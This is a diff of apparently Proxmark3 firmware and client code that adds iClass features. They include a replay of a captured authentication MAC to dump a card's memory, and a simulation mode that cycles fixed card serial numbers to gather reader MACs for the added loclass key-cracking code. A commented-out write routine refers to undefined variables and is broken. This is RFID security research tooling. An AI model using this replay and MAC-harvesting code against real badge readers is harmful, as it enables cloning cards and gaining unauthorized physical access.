 +                                              receivedCmd[6], receivedCmd[7], receivedCmd[8]);
 +                              if (reader_mac_buf != NULL)
 +                              {
 +                                      memcpy(reader_mac_buf,receivedCmd+1,8);
 +                              }
 +                              exitLoop = true;
 +                      }
                } else if(receivedCmd[0] == 0x00 && len == 1) {
                        // Reader ends the session
                        resp = resp1; respLen = 0; //order = 0;
                        respdata = NULL;
                        respsize = 0;
                } else {
 +                      //#db# Unknown command received from reader (len=5): 26 1 0 f6 a 44 44 44 44
                        // Never seen this command before
                        Dbprintf("Unknown command received from reader (len=%d): %x %x %x %x %x %x %x %x %x",
                        len,
                        respsize = 0;
                }
  
 -              if(cmdsRecvd > 999) {
 -                      DbpString("1000 commands later...");
 -                      break;
 +              if(cmdsRecvd >  100) {
 +                      //DbpString("100 commands later...");
 +                      //break;
                }
                else {
                        cmdsRecvd++;
  
                if(respLen > 0) {
                        SendIClassAnswer(resp, respLen, 21);
 +                      t2r_time = GetCountSspClk();
                }
 -              
 +
                if (tracing) {
 -                      LogTrace(receivedCmd,len, rsamples, Uart.parityBits, TRUE);
 +                      LogTrace(receivedCmd,len, (r2t_time-time_0)<< 4, Uart.parityBits,TRUE);
 +                      LogTrace(NULL,0, (r2t_time-time_0) << 4, 0,TRUE);
 +
                        if (respdata != NULL) {
 -                              LogTrace(respdata,respsize, rsamples, SwapBits(GetParity(respdata,respsize),respsize), FALSE);
 +                              LogTrace(respdata,respsize, (t2r_time-time_0) << 4,SwapBits(GetParity(respdata,respsize),respsize),FALSE);
 +                              LogTrace(NULL,0, (t2r_time-time_0) << 4,0,FALSE);
 +
 +
                        }
 -                      if(traceLen > TRACE_SIZE) {
 +                      if(!tracing) {
                                DbpString("Trace full");
 -                              break;
 +                              //break;
                        }
 -              }
  
 +              }
                memset(receivedCmd, 0x44, RECV_CMD_SIZE);
        }
  
 -      Dbprintf("%x", cmdsRecvd);
 +      //Dbprintf("%x", cmdsRecvd);
        LED_A_OFF();
        LED_B_OFF();
 +      if(buttonPressed)
 +      {
 +              DbpString("Button pressed");
 +      }
 +      return buttonPressed;
  }
  
  static int SendIClassAnswer(uint8_t *resp, int respLen, int delay)
  {
 -      int i = 0, u = 0, d = 0;
 +      int i = 0, d=0;//, u = 0, d = 0;
        uint8_t b = 0;
 -      // return 0;
 -      // Modulate Manchester
 -      // FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD424);
 -      FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD);
 +
 +      FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR|FPGA_HF_SIMULATOR_MODULATE_424K);
 +
        AT91C_BASE_SSC->SSC_THR = 0x00;
        FpgaSetupSsc();
 -      
 -      // send cycle
 -      for(;;) {
 -              if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
 -                      volatile uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
 -                      (void)b;
 +      while(!BUTTON_PRESS()) {
 +              if((AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)){
 +                      b = AT91C_BASE_SSC->SSC_RHR; (void) b;
                }
 -              if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
 +              if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)){
 +                      b = 0x00;
                        if(d < delay) {
 -                              b = 0x00;
                                d++;
                        }
 -                      else if(i >= respLen) {
 -                              b = 0x00;
 -                              u++;
 -                      } else {
 -                              b = resp[i];
 -                              u++;
 -                              if(u > 1) { i++; u = 0; }
 +                      else {
 +                              if( i < respLen){
 +                                      b = resp[i];
 +                                      //Hack
 +                                      //b = 0xAC;
 +                              }
 +                              i++;
                        }
                        AT91C_BASE_SSC->SSC_THR = b;
 -
 -                      if(u > 4) break;
 -              }
 -              if(BUTTON_PRESS()) {
 -                      break;
                }
 +
 +              if (i > respLen +4) break;
        }
  
        return 0;
  static void TransmitIClassCommand(const uint8_t *cmd, int len, int *samples, int *wait)
  {
    int c;
 -
    FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
    AT91C_BASE_SSC->SSC_THR = 0x00;
    FpgaSetupSsc();
@@@ -1364,12 -1314,12 +1366,12 @@@ void CodeIClassCommand(const uint8_t * 
      b = cmd[i];
      for(j = 0; j < 4; j++) {
        for(k = 0; k < 4; k++) {
 -      if(k == (b & 3)) {
 -          ToSend[++ToSendMax] = 0x0f;
 -      }
 -      else {
 -          ToSend[++ToSendMax] = 0x00;
 -      }
 +                      if(k == (b & 3)) {
 +                              ToSend[++ToSendMax] = 0x0f;
 +                      }
 +                      else {
 +                              ToSend[++ToSendMax] = 0x00;
 +                      }
        }
        b >>= 2;
      }
@@@ -1473,10 -1423,8 +1475,10 @@@ void ReaderIClass(uint8_t arg0) 
  
        uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
  
 +    FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
 +
        // Reset trace buffer
 -      memset(trace, 0x44, RECV_CMD_OFFSET);
 +      memset(trace, 0x44, RECV_CMD_OFFSET);
        traceLen = 0;
  
        // Setup SSC
        LED_A_OFF();
  }
  
+ void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) {
+       uint8_t act_all[]     = { 0x0a };
+       uint8_t identify[]    = { 0x0c };
+       uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t readcheck_cc[]= { 0x88, 0x02 };
+       uint8_t check[]       = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };
+       
+     uint16_t crc = 0;
+       uint8_t cardsize=0;
+       bool read_success=false;
+       uint8_t mem=0;
+       
+       static struct memory_t{
+         int k16;
+         int book;
+         int k2;
+         int lockauth;
+         int keyaccess;
+       } memory;
+       
+       uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
+       // Reset trace buffer
+     memset(trace, 0x44, RECV_CMD_OFFSET);
+       traceLen = 0;
+       // Setup SSC
+       FpgaSetupSsc();
+       // Start from off (no field generated)
+       // Signal field is off with the appropriate LED
+       LED_D_OFF();
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       SpinDelay(200);
+       SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+       // Now give it time to spin up.
+       // Signal field is on with the appropriate LED
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+       SpinDelay(200);
+       LED_A_ON();
+       for(int i=0;i<1;i++) {
+       
+               if(traceLen > TRACE_SIZE) {
+                       DbpString("Trace full");
+                       break;
+               }
+               
+               if (BUTTON_PRESS()) break;
+               // Send act_all
+               ReaderTransmitIClass(act_all, 1);
+               // Card present?
+               if(ReaderReceiveIClass(resp)) {
+                       ReaderTransmitIClass(identify, 1);
+                       if(ReaderReceiveIClass(resp) == 10) {
+                               // Select card          
+                               memcpy(&select[1],resp,8);
+                               ReaderTransmitIClass(select, sizeof(select));
+                               if(ReaderReceiveIClass(resp) == 10) {
+                                       Dbprintf("     Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }
+                               // Card selected
+                               Dbprintf("Readcheck on Sector 2");
+                               ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                               if(ReaderReceiveIClass(resp) == 8) {
+                                  Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }else return;
+                               Dbprintf("Authenticate");
+                               //for now replay captured auth (as cc not updated)
+                               memcpy(check+5,MAC,4);
+                               Dbprintf("     AA: %02x %02x %02x %02x",
+                                       check[5], check[6], check[7],check[8]);
+                               ReaderTransmitIClass(check, sizeof(check));
+                               if(ReaderReceiveIClass(resp) == 4) {
+                                  Dbprintf("     AR: %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],resp[3]);
+                               }else {
+                                 Dbprintf("Error: Authentication Fail!");
+                                 return;
+                               }
+                               Dbprintf("Dump Contents");
+                               //first get configuration block
+                               read_success=false;
+                               read[1]=1;
+                               uint8_t *blockno=&read[1];
+                               crc = iclass_crc16((char *)blockno,1);
+                               read[2] = crc >> 8;
+                               read[3] = crc & 0xff;
+                               while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        mem=resp[5];
+                                        memory.k16= (mem & 0x80);
+                                        memory.book= (mem & 0x20);
+                                        memory.k2= (mem & 0x8);
+                                        memory.lockauth= (mem & 0x2);
+                                        memory.keyaccess= (mem & 0x1);
+                                     }
+                               }
+                               if (memory.k16){
+                                 cardsize=255;
+                               }else cardsize=32;
+                               //then loop around remaining blocks
+                               for(uint8_t j=0; j<cardsize; j++){
+                                   read_success=false;
+                                   uint8_t *blockno=&j;
+                                   //crc_data[0]=j;
+                                   read[1]=j;
+                                   crc = iclass_crc16((char *)blockno,1);
+                                   read[2] = crc >> 8;
+                                   read[3] = crc & 0xff;
+                                   while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        Dbprintf("     %02x: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                         j, resp[0], resp[1], resp[2],
+                                         resp[3], resp[4], resp[5],
+                                         resp[6], resp[7]);
+                                     }
+                                   }
+                               }
+                       }
+               }
+               WDT_HIT();
+       }
+       
+       LED_A_OFF();
+ }
+ //1. Create Method to Read sectors/blocks 0,1,2 and Send to client
+ void IClass_iso14443A_GetPublic(uint8_t arg0) {
+       uint8_t act_all[]     = { 0x0a };
+       uint8_t identify[]    = { 0x0c };
+       uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t readcheck_cc[]= { 0x88, 0x02 }; 
+       //uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };   
+       uint8_t card_data[24]={0};
+       
+       //bool read_success=false;
+       uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
+       // Reset trace buffer
+     memset(trace, 0x44, RECV_CMD_OFFSET);
+       traceLen = 0;
  
+       // Setup SSC
+       FpgaSetupSsc();
+       // Start from off (no field generated)
+       // Signal field is off with the appropriate LED
+       LED_D_OFF();
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       SpinDelay(200);
+       SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+       // Now give it time to spin up.
+       // Signal field is on with the appropriate LED
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+       SpinDelay(200);
+       LED_A_ON();
+       for(int i=0;i<1;i++) {
+       
+               if(traceLen > TRACE_SIZE) {
+                       DbpString("Trace full");
+                       break;
+               }
+               
+               if (BUTTON_PRESS()) break;
+               // Send act_all
+               ReaderTransmitIClass(act_all, 1);
+               // Card present?
+               if(ReaderReceiveIClass(resp)) {
+                       ReaderTransmitIClass(identify, 1);
+                       if(ReaderReceiveIClass(resp) == 10) {
+                               // Select card          
+                               memcpy(&select[1],resp,8);
+                               ReaderTransmitIClass(select, sizeof(select));
+                               if(ReaderReceiveIClass(resp) == 10) {
+                                       Dbprintf("     Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }
+                               memcpy(card_data,resp,8);
+                               // Card selected
+                               Dbprintf("Readcheck on Sector 2");
+                               ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                               if(ReaderReceiveIClass(resp) == 8) {
+                                  Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }
+                               memcpy(card_data+8,resp,8);
+                               //prep to read config block
+                               /*  read card configuration block
+                                 while(!read_success){
+                                 uint8_t sector_config=0x01;
+                                 memcpy(read+1,&sector_config,1);
+                                 ReaderTransmitIClass(read, sizeof(read));
+                                 if(ReaderReceiveIClass(resp) == 8) {
+                                   Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                                       read_success=true;
+                     memcpy(card_data+16,resp,8);
+                                 }
+                               }*/
+                       }
+               }
+               WDT_HIT();
+       }
+       //Dbprintf("DEBUG: %02x%02x%02x%02x%02x%02x%02x%02x",card_data[0],card_data[1],card_data[2],card_data[3],card_data[4],card_data[5],card_data[6],card_data[7]);
+       //Dbprintf("DEBUG: %02x%02x%02x%02x%02x%02x%02x%02x",card_data[8],card_data[9],card_data[10],card_data[11],card_data[12],card_data[13],card_data[14],card_data[15]);
+       LED_A_OFF();
+       LED_B_ON();
+       //send data back to the client
+     cmd_send(CMD_ACK,0,0,0,card_data,16);
+       LED_B_OFF();
+ }
+ //2. Create Read method (cut-down from above) based off responses from 1. 
+ //   Since we have the MAC could continue to use replay function.
+ //3. Create Write method
+ /*
+ void IClass_iso14443A_write(uint8_t arg0, uint8_t blockNo, uint8_t *data, uint8_t *MAC) {
+       uint8_t act_all[]     = { 0x0a };
+       uint8_t identify[]    = { 0x0c };
+       uint8_t select[]      = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t readcheck_cc[]= { 0x88, 0x02 };
+       uint8_t check[]       = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       uint8_t read[]        = { 0x0c, 0x00, 0x00, 0x00 };
+       uint8_t write[]       = { 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+       
+     uint16_t crc = 0;
+       
+       uint8_t* resp = (((uint8_t *)BigBuf) + 3560);   // was 3560 - tied to other size changes
+       // Reset trace buffer
+     memset(trace, 0x44, RECV_CMD_OFFSET);
+       traceLen = 0;
+       // Setup SSC
+       FpgaSetupSsc();
+       // Start from off (no field generated)
+       // Signal field is off with the appropriate LED
+       LED_D_OFF();
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       SpinDelay(200);
+       SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+       // Now give it time to spin up.
+       // Signal field is on with the appropriate LED
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+       SpinDelay(200);
+       LED_A_ON();
+       for(int i=0;i<1;i++) {
+       
+               if(traceLen > TRACE_SIZE) {
+                       DbpString("Trace full");
+                       break;
+               }
+               
+               if (BUTTON_PRESS()) break;
+               // Send act_all
+               ReaderTransmitIClass(act_all, 1);
+               // Card present?
+               if(ReaderReceiveIClass(resp)) {
+                       ReaderTransmitIClass(identify, 1);
+                       if(ReaderReceiveIClass(resp) == 10) {
+                               // Select card          
+                               memcpy(&select[1],resp,8);
+                               ReaderTransmitIClass(select, sizeof(select));
+                               if(ReaderReceiveIClass(resp) == 10) {
+                                       Dbprintf("     Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }
+                               // Card selected
+                               Dbprintf("Readcheck on Sector 2");
+                               ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+                               if(ReaderReceiveIClass(resp) == 8) {
+                                  Dbprintf("     CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],
+                                       resp[3], resp[4], resp[5],
+                                       resp[6], resp[7]);
+                               }else return;
+                               Dbprintf("Authenticate");
+                               //for now replay captured auth (as cc not updated)
+                               memcpy(check+5,MAC,4);
+                               Dbprintf("     AA: %02x %02x %02x %02x",
+                                       check[5], check[6], check[7],check[8]);
+                               ReaderTransmitIClass(check, sizeof(check));
+                               if(ReaderReceiveIClass(resp) == 4) {
+                                  Dbprintf("     AR: %02x %02x %02x %02x",
+                                       resp[0], resp[1], resp[2],resp[3]);
+                               }else {
+                                 Dbprintf("Error: Authentication Fail!");
+                                 return;
+                               }
+                               Dbprintf("Write Block");
+                               
+                               //read configuration for max block number
+                               read_success=false;
+                               read[1]=1;
+                               uint8_t *blockno=&read[1];
+                               crc = iclass_crc16((char *)blockno,1);
+                               read[2] = crc >> 8;
+                               read[3] = crc & 0xff;
+                               while(!read_success){
+                                     ReaderTransmitIClass(read, sizeof(read));
+                                     if(ReaderReceiveIClass(resp) == 10) {
+                                        read_success=true;
+                                        mem=resp[5];
+                                        memory.k16= (mem & 0x80);
+                                        memory.book= (mem & 0x20);
+                                        memory.k2= (mem & 0x8);
+                                        memory.lockauth= (mem & 0x2);
+                                        memory.keyaccess= (mem & 0x1);
+                                     }
+                               }
+                               if (memory.k16){
+                                 cardsize=255;
+                               }else cardsize=32;
+                               //check card_size
+                               
+                               memcpy(write+1,blockNo,1);
+                               memcpy(write+2,data,8);
+                               memcpy(write+10,mac,4);
+                               while(!send_success){
+                                 ReaderTransmitIClass(write, sizeof(write));
+                                 if(ReaderReceiveIClass(resp) == 10) {
+                                   write_success=true;
+                               }
+                       }//
+               }
+               WDT_HIT();
+       }
+       
+       LED_A_OFF();
+ }*/
diff --combined client/Makefile
index e4a3580b8814ee0b33da32693f59abea3b073413,c47e8526e69c79d459c2bda02763d4bd80cfa913..05ffc66710657df664a3ec71b8dd7db1e5fa1eec
@@@ -15,7 -15,7 +15,7 @@@ OBJDIR = ob
  
  LDLIBS = -L/opt/local/lib -L/usr/local/lib -lreadline -lpthread ../liblua/liblua.a
  LDFLAGS = $(COMMON_FLAGS)
- CFLAGS = -std=c99 -I. -I../include -I../common -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4 
+ CFLAGS = -std=c99 -lcrypto -I. -I../include -I../common -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4 
  LUAPLATFORM = generic
  
  ifneq (,$(findstring MINGW,$(platform)))
@@@ -24,11 -24,9 +24,9 @@@ QTLDLIBS = -L$(QTDIR)/lib -lQtCore4 -lQ
  MOC = $(QTDIR)/bin/moc
  LUAPLATFORM = mingw
  else ifeq ($(platform),Darwin)
- #CXXFLAGS = -I/Library/Frameworks/QtGui.framework/Versions/Current/Headers -I/Library/Frameworks/QtCore.framework/Versions/Current/Headers
- #QTLDLIBS = -framework QtGui -framework QtCore
- CXXFLAGS = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui
- QTLDLIBS = -F/opt/local/Library/Frameworks -framework QtGui -framework QtCore
- MOC = moc 
+ CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall -O4
+ QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null)
+ MOC = $(shell pkg-config --variable=moc_location QtCore)
  LUAPLATFORM = macosx
  else
  CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall -O4
@@@ -58,6 -56,10 +56,12 @@@ CORESRCS =  uart.c 
  CMDSRCS =     nonce2key/crapto1.c\
                nonce2key/crypto1.c\
                nonce2key/nonce2key.c\
+               loclass/cipher.c \
+               loclass/cipherutils.c \
+               loclass/des.c \
+               loclass/ikeys.c \
++              loclass/elite_crack.c\
++              loclass/fileutils.c\
                        mifarehost.c\
                        crc16.c \
                        iso14443crc.c \
@@@ -76,8 -78,8 +80,8 @@@
                        cmdhfmf.c \
                        cmdhw.c \
                        cmdlf.c \
-                       cmdlfhid.c \
                        cmdlfio.c \
+                       cmdlfhid.c \
                        cmdlfem4x.c \
                        cmdlfhitag.c \
                        cmdlfti.c \
diff --combined client/cmdhficlass.c
index b8e1e0989f62abc5bca9d409f2fe53b43500c83e,e68fdc4f1b0bc89a398e90554840865c69b3b4f4..91b5d8980f40dfed3d4ee66ddecd302842a3cd5f
@@@ -1,6 -1,7 +1,7 @@@
  //-----------------------------------------------------------------------------
  // Copyright (C) 2010 iZsh <izsh at fail0verflow.com>, Hagen Fritsch
  // Copyright (C) 2011 Gerhard de Koning Gans
+ // Copyright (C) 2014 Midnitesnake & Andy Davies
  //
  // This code is licensed to you under the terms of the GNU GPL, version 2 or,
  // at your option, any later version. See the LICENSE.txt file for the text of
@@@ -12,7 -13,6 +13,7 @@@
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
 +#include <sys/stat.h>
  #include "iso14443crc.h" // Can also be used for iClass, using 0xE012 as CRC-type
  #include "data.h"
  //#include "proxusb.h"
  #include "cmdhficlass.h"
  #include "common.h"
  #include "util.h"
 +#include "cmdmain.h"
+ #include "loclass/des.h"
+ #include "loclass/cipherutils.h"
+ #include "loclass/cipher.h"
+ #include "loclass/ikeys.h"
++#include "loclass/elite_crack.h"
++#include "loclass/fileutils.h"
  
  static int CmdHelp(const char *Cmd);
  
-       uint8_t res = val ^ (val >> 1); //1st pass
-       res = res ^ (res >> 1);                 // 2nd pass
-       res = res ^ (res >> 2);                 // 3rd pass
-       res = res ^ (res >> 4);                         // 4th pass
-       return res & 1;
 +int xorbits_8(uint8_t val)
 +{
++    uint8_t res = val ^ (val >> 1); //1st pass
++    res = res ^ (res >> 1);           // 2nd pass
++    res = res ^ (res >> 2);           // 3rd pass
++    res = res ^ (res >> 4);                   // 4th pass
++    return res & 1;
 +}
 +
  int CmdHFiClassList(const char *Cmd)
 +{
 +
 +      bool ShowWaitCycles = false;
 +      char param = param_getchar(Cmd, 0);
 +
 +      if (param != 0) {
 +              PrintAndLog("List data in trace buffer.");
 +              PrintAndLog("Usage:  hf iclass list");
 +              PrintAndLog("h - help");
 +              PrintAndLog("sample: hf iclass list");
 +              return 0;
 +      }
 +
 +      uint8_t got[1920];
 +      GetFromBigBuf(got,sizeof(got),0);
 +      WaitForResponse(CMD_ACK,NULL);
 +
 +      PrintAndLog("Recorded Activity");
 +      PrintAndLog("");
 +      PrintAndLog("Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer");
 +      PrintAndLog("All times are in carrier periods (1/13.56Mhz)");
 +      PrintAndLog("");
 +      PrintAndLog("     Start |       End | Src | Data");
 +      PrintAndLog("-----------|-----------|-----|--------");
 +
 +      int i;
 +      uint32_t first_timestamp = 0;
 +      uint32_t timestamp;
 +      bool tagToReader;
 +      uint32_t parityBits;
 +      uint8_t len;
 +      uint8_t *frame;
 +      uint32_t EndOfTransmissionTimestamp = 0;
 +
 +
 +      for( i=0; i < 1900;)
 +      {
 +              //First 32 bits contain
 +              // isResponse (1 bit)
 +              // timestamp (remaining)
 +              //Then paritybits
 +              //Then length
 +              timestamp = *((uint32_t *)(got+i));
 +              parityBits = *((uint32_t *)(got+i+4));
 +              len = got[i+8];
 +              frame = (got+i+9);
 +              uint32_t next_timestamp = (*((uint32_t *)(got+i+9))) & 0x7fffffff;
 +
 +              tagToReader = timestamp & 0x80000000;
 +              timestamp &= 0x7fffffff;
 +
 +              if(i==0) {
 +                      first_timestamp = timestamp;
 +              }
 +
 +              // Break and stick with current result if buffer was not completely full
 +              if (frame[0] == 0x44 && frame[1] == 0x44 && frame[2] == 0x44 && frame[3] == 0x44) break;
 +
 +              char line[1000] = "";
 +
 +              if(len)//We have some data to display
 +              {
 +                      int j,oddparity;
 +
 +                      for(j = 0; j < len ; j++)
 +                      {
 +                              oddparity = 0x01 ^ xorbits_8(frame[j] & 0xFF);
 +
 +                              if (tagToReader && (oddparity != ((parityBits >> (len - j - 1)) & 0x01))) {
 +                                      sprintf(line+(j*4), "%02x!  ", frame[j]);
 +                              } else {
 +                                      sprintf(line+(j*4), "%02x   ", frame[j]);
 +                              }
 +                      }
 +              }else
 +              {
 +                      if (ShowWaitCycles) {
 +                              sprintf(line, "fdt (Frame Delay Time): %d", (next_timestamp - timestamp));
 +                      }
 +              }
 +
 +              char *crc = "";
 +
 +              if(len > 2)
 +              {
 +                      uint8_t b1, b2;
 +                      if(!tagToReader && len == 4) {
 +                              // Rough guess that this is a command from the reader
 +                              // For iClass the command byte is not part of the CRC
 +                                      ComputeCrc14443(CRC_ICLASS, &frame[1], len-3, &b1, &b2);
 +                      }
 +                      else {
 +                                // For other data.. CRC might not be applicable (UPDATE commands etc.)
 +                              ComputeCrc14443(CRC_ICLASS, frame, len-2, &b1, &b2);
 +                      }
 +
 +                      if (b1 != frame[len-2] || b2 != frame[len-1]) {
 +                              crc = (tagToReader & (len < 8)) ? "" : " !crc";
 +                      }
 +              }
 +
 +              i += (len + 9);
 +              EndOfTransmissionTimestamp = (*((uint32_t *)(got+i))) & 0x7fffffff;
 +
 +              // Not implemented for iclass on the ARM-side
 +              //if (!ShowWaitCycles) i += 9;
 +
 +              PrintAndLog(" %9d | %9d | %s | %s %s",
 +                      (timestamp - first_timestamp),
 +                      (EndOfTransmissionTimestamp - first_timestamp),
 +                      (len?(tagToReader ? "Tag" : "Rdr"):"   "),
 +                      line, crc);
 +      }
 +      return 0;
 +}
 +
 +int CmdHFiClassListOld(const char *Cmd)
  {
    uint8_t got[1920];
    GetFromBigBuf(got,sizeof(got),0);
        isResponse = 0;
      }
  
 +
      int metric = 0;
 +
      int parityBits = *((uint32_t *)(got+i+4));
      // 4 bytes of additional information...
      // maximum of 32 additional parity bit information
    return 0;
  }
  
- /*void iso14a_set_timeout(uint32_t timeout) {
-       UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_SET_TIMEOUT, 0, timeout}};
-       SendCommand(&c);
- }*/
  int CmdHFiClassSnoop(const char *Cmd)
  {
    UsbCommand c = {CMD_SNOOP_ICLASS};
@@@ -307,92 -177,23 +309,93 @@@ int CmdHFiClassSim(const char *Cmd
    uint8_t simType = 0;
    uint8_t CSN[8] = {0, 0, 0, 0, 0, 0, 0, 0};
  
 -  if (strlen(Cmd)<2) {
 -      PrintAndLog("Usage:  hf iclass sim    <sim type> <CSN (16 hex symbols)>");
 +  if (strlen(Cmd)<1) {
 +      PrintAndLog("Usage:  hf iclass sim [0 <CSN>] | x");
 +      PrintAndLog("        options");
 +      PrintAndLog("                0 <CSN> simulate the given CSN");
 +      PrintAndLog("                1       simulate default CSN");
 +      PrintAndLog("                2       iterate CSNs, gather MACs");
        PrintAndLog("        sample: hf iclass sim 0 031FEC8AF7FF12E0");
 +      PrintAndLog("        sample: hf iclass sim 2");
        return 0;
    }   
  
    simType = param_get8(Cmd, 0);
 -  if (param_gethex(Cmd, 1, CSN, 16)) {
 -      PrintAndLog("A CSN should consist of 16 HEX symbols");
 -      return 1;
 -  }
 -  PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8));
  
 -  UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType}};
 -  memcpy(c.d.asBytes, CSN, 8);
 -  SendCommand(&c);
 +  if(simType == 0)
 +  {
 +        if (param_gethex(Cmd, 1, CSN, 16)) {
 +                PrintAndLog("A CSN should consist of 16 HEX symbols");
 +                return 1;
 +        }
 +        PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8));
 +
 +  }
 +  if(simType > 2)
 +  {
 +        PrintAndLog("Undefined simptype %d", simType);
 +        return 1;
 +  }
 +  uint8_t numberOfCSNs=0;
 +
 +      if(simType == 2)
 +      {
 +              UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}};
 +              UsbCommand resp = {0};
 +
 +              uint8_t csns[64] = {
 +                       0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0 ,
 +                       0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0 ,
 +                       0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0 ,
 +                       0x17,0x12,0x01,0xfd,0xf7,0xff,0x12,0xe0 ,
 +                       0xcd,0x56,0x01,0x7c,0x6f,0xff,0x12,0xe0 ,
 +                       0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0 ,
 +                       0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0 ,
 +                       0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0 };
 +
 +              memcpy(c.d.asBytes, csns, 64);
 +
 +              SendCommand(&c);
 +              if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) {
 +                      PrintAndLog("Command timed out");
 +                      return 0;
 +              }
 +
 +              uint8_t num_mac_responses  = resp.arg[1];
 +              PrintAndLog("Mac responses: %d MACs obtained (should be 8)", num_mac_responses);
 +
 +              size_t datalen = 8*24;
 +              /*
 +               * Now, time to dump to file. We'll use this format:
 +               * <8-byte CSN><8-byte CC><4 byte NR><4 byte MAC>....
 +               * So, it should wind up as
 +               * 8 * 24 bytes.
 +               *
 +               * The returndata from the pm3 is on the following format
 +               * <4 byte NR><4 byte MAC>
 +               * CC are all zeroes, CSN is the same as was sent in
 +               **/
 +              void* dump = malloc(datalen);
 +              memset(dump,0,datalen);//<-- Need zeroes for the CC-field
 +              uint8_t i = 0;
 +              for(i = 0 ; i < 8 ; i++)
 +              {
 +                      memcpy(dump+i*24, csns+i*8,8); //CSN
 +                      //8 zero bytes here...
